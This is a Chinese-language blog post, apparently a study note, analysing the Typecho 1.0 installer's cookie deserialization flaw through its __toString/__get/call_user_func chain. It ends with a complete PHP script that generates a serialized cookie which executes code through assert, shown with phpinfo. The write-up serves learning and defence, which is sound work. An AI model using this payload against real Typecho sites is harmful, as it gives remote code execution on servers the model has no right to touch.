1. 程式人生 > >Typecho-反序列化漏洞學習

Typecho-反序列化漏洞學習

exce wak branch 有趣 params 機制 except 出錯 array

目錄

  • Typecho-反序列化漏洞學習
    • 0x00 前言
    • 0x01 分析過程
    • 0x02 調試
    • 0x03 總結
    • 0xFF 參考

Typecho-反序列化漏洞學習

0x00 前言

補丁:
https://github.com/typecho/typecho/commit/e277141c974cd740702c5ce73f7e9f382c18d84e#diff-3b7de2cf163f18aa521c050bb543084f

這裏我下了1.0版本:
git clone https://github.com/typecho/typecho.git --branch v1.0-14.10.10-release

0x01 分析過程

這個漏洞非常有趣。首先是一個可控參數的反序列化表達式。然後構造pop鏈,尋找__destruct方法,然而沒有找到可利用的。但是通過對反序列化後的變量跟蹤發現,有對其當作字符串調用,因此尋找__toString方法。

這個程序一共就只有三個__toString,我自己找的時候只找到一個“類似SQL註入”的點,後來通過利用autoload機制(參考p牛的CSRF到任意代碼執行)將那個類加載進來。後來又通過一頓分析發現,其只是返回一個SELECT語句的字符串,然後我就沒再跟進了,說不定可以構造成一個反射xss(從反序列化到反射xss???)。

然後看了一下大佬的blog,果然大佬就是大佬。在另一處__toString中找到了一個方法調用:$item[..]->screenName。由於$item可控,因此這裏可以使$item[..]為一個沒有screenName屬性的對象,當訪問一個對象沒有的屬性時就會尋找它的__get方法!所以大佬這裏就找了一個存在危險操作的__get方法的類。果然我還是太菜了,滿腦子就只有__destruct和__wakeup。

跟進__get之後,經過一系列的調用,調用了同類下的某個filter方法,然後在裏面進行了call_user_func,兩個參數都可控,至此利用鏈分析完畢。

構建poc後發現頁面返回了500錯誤,我們的phpinfo()並沒有回顯出來。經過調試發現,因為程序對反序列化之後的內容進行處理時拋出了異常,導致報了錯。我們可以將程序提前exit,不經過後面的報錯即可。

0x02 調試

首先看一下訪問到漏洞點的前置條件

技術分享圖片

這裏會對referer頭做一個校驗,refer中的host值需要與$_SERVER[‘HTTP_HOST‘]的值相等。

下面看一下漏洞點

技術分享圖片

這裏需要傳入一個finish參數,然後在230行將cookie中的__typecho_config的值通過base64解碼之後反序列化。

再往下看兩行到232行,這裏將$config[‘adapter‘]作為第一個參數傳入到Typecho_Db()中。$config就是反序列化傳來的對象,因此這個參數也是我們可控的。我們跟進一下Typecho_Db()

技術分享圖片

跟進其構造方法之後發現,這裏將我們傳來的第一個參數做字符串拼接,如果第一個參數是對象的話,那麽這裏就會調用其__toString()方法。剛好,第一個參數是我們可控的。

通過尋找__toString方法,找到了一個Typecho_Feed類。

技術分享圖片

技術分享圖片

在第二張圖中可以看到$item[‘author‘]->screenName。如果$item[‘author‘]是一個不能存在screenName屬性的類的話,那麽這裏就會調用這個類的__get()魔術方法。剛好,這裏的$item是我們可控的。因此下面就找哪些類沒有screenName屬性,並且__get方法存在危險操作。

最後找到了Typecho_Request類
技術分享圖片

技術分享圖片

可以看到$value是可控的。下面跟進一下_applyFilter方法

技術分享圖片

可以看到,這裏有個call_user_func方法,且$filter和$value都可控。至此這條pop鏈基本是構造完了。

可是構造完payload發現頁面響應500,我們的phpinfo()並沒有回顯出來。經過調試發現,因為程序對反序列化之後的內容進行處理時拋出了異常,導致報了錯。如下。

技術分享圖片

可以看到這裏首先拋出了一個Typecho_Db_Exception異常,跟進。

技術分享圖片

技術分享圖片

可以看到調用了ob_end_clean()清空了緩沖區。接著跟到self::error。

技術分享圖片

技術分享圖片

可以看到,這裏配置了一些報錯變量,並在最後輸出到模板中,然後exit退出了程序。

暫時知道有兩種方法來輸出payload的結果:
1)提前exit程序,讓程序不運行到拋出異常處
2)提前將緩沖區內容打印到頁面上
對於1),這裏有兩種實現方法,第一種是seebug作者的方法,通過使程序運行出錯自動exit,還有一種是直接簡單粗暴地將exit放到我們的payload中。
對於2),我本想使用ob_end_flush()之類的方法,但是程序在調用時會傳入一個參數,導致ob_end_flush()執行失敗,因為這個方法是不接受參數的,所以對於第2)個方法,目前沒找到出路。

所以這裏我將exit放到payload中,成功提前退出,回顯了phpinfo。

技術分享圖片

payload如下

<?php

    class Typecho_Feed{
        private $_type;
        private $_items = array();

        public function __construct(){
            $this->_type = "RSS 2.0";
            $this->_items = array(
                array(
                    "title" => "test",
                    "link" => "test",
                    "data" => "20190430",
                    "author" => new Typecho_Request(),
                ),
            );
        }
    }

    class Typecho_Request{
        private $_params = array();
        private $_filter = array();

        public function __construct(){
            $this->_params = array(
                "screenName" => "eval('phpinfo();exit;')",
            );
            $this->_filter = array("assert");
        }
    }

    $a = new Typecho_Feed();

    $c = array(
        "adapter" => $a,
        "prefix" => "test",
    );

    echo base64_encode(serialize($c));

0x03 總結

這個漏洞精彩的部分就是通過調用__toString再來調用一層__get魔術方法,可惜自己沒法把這些已有的點聯系起來,還是多學習吧。

0xFF 參考

https://paper.seebug.org/424/

Typecho-反序列化漏洞學習